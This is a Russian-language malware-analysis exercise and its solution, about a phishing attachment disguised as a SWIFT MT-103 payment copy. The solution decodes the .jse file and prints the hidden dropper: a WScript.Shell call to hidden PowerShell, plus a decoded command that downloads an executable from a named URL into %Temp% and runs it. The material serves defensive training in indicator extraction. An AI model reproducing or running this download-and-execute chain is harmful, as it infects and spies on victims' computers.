**Задача**

Исследователю ВПО передали на исследование архивный файл (**CITIBANK TELEX REMITTANCE.rar**), содержащий необычный файл (**SWIFT COPY - MT-103.jse**), который получил по почте один из пользователей крупной компании. Пользователь сообщил, что специалисты ИБ его компании обнаружили на его компьютере, после запуска данного файла процесс с именем исполняемого файла: **UJHYTGD.exe,** который был идентифицирован как шпионское ВПО, а сам файл был значительно больше в размере, чем файл jse. Руководитель организации поставил задачу исследователю ВПО – установить URL с которого был загружен данный вредоносный файл и определить все возможные местоположения данного файла, после его загрузки из сети Интернет.

***(внимание – исследование файла следует проводить на виртуальной машине. Некоторые антивирусы определяют данные файлы и сам архив, как ВПО******. Сам файл на сайте отсутствует, таким образом скрипт не сможет его загрузить и активировать)***

Ответ:

Jse – это расширение зашифрованного скрипта js. В настоящее время есть приложения для его расшифровки, в том числе и в сети Интернет (чаще можно найти сайт для расшифровки \*.vbe файлов, а так как алгоритм шифрования одинаковый – расшифровать файл \*.jse можно также как и \*.vbe).

После расшифровки получим:

new ActiveXObject("wScrIpt.SHelL").RUN( '"powERShELL.exe" POWERShELl.exE -ex ByPaSS -NOP -w hiDden -Ec  ' , 0 ) ;

Этот скрипт на \*.js запускает powershell и передвет ей закодированную по алгоритму base64 последовательность команд (Внимание! Кодировка UTF-16LE):

(NEW-OBjEcT sysTem.NET.webclIenT).DownLoADFilE( ”http://bacau.ro/wp-content/XDFBGJGF.exe” , ”$eNv:tEmp\UJHYTGD.exe” ) ; cMd /C ”$ENv:tEMp\UJHYTGD.exe”

Таким образом, ВПО скачивается с URL’a: **http://bacau.ro/wp-content/XDFBGJGF.exe**

Сохранение ВПО происходит в каталоге: **%Temp%\UJHYTGD.exe**

Запуск ВПО происходит из того же каталога: **%Temp%\UJHYTGD.exe**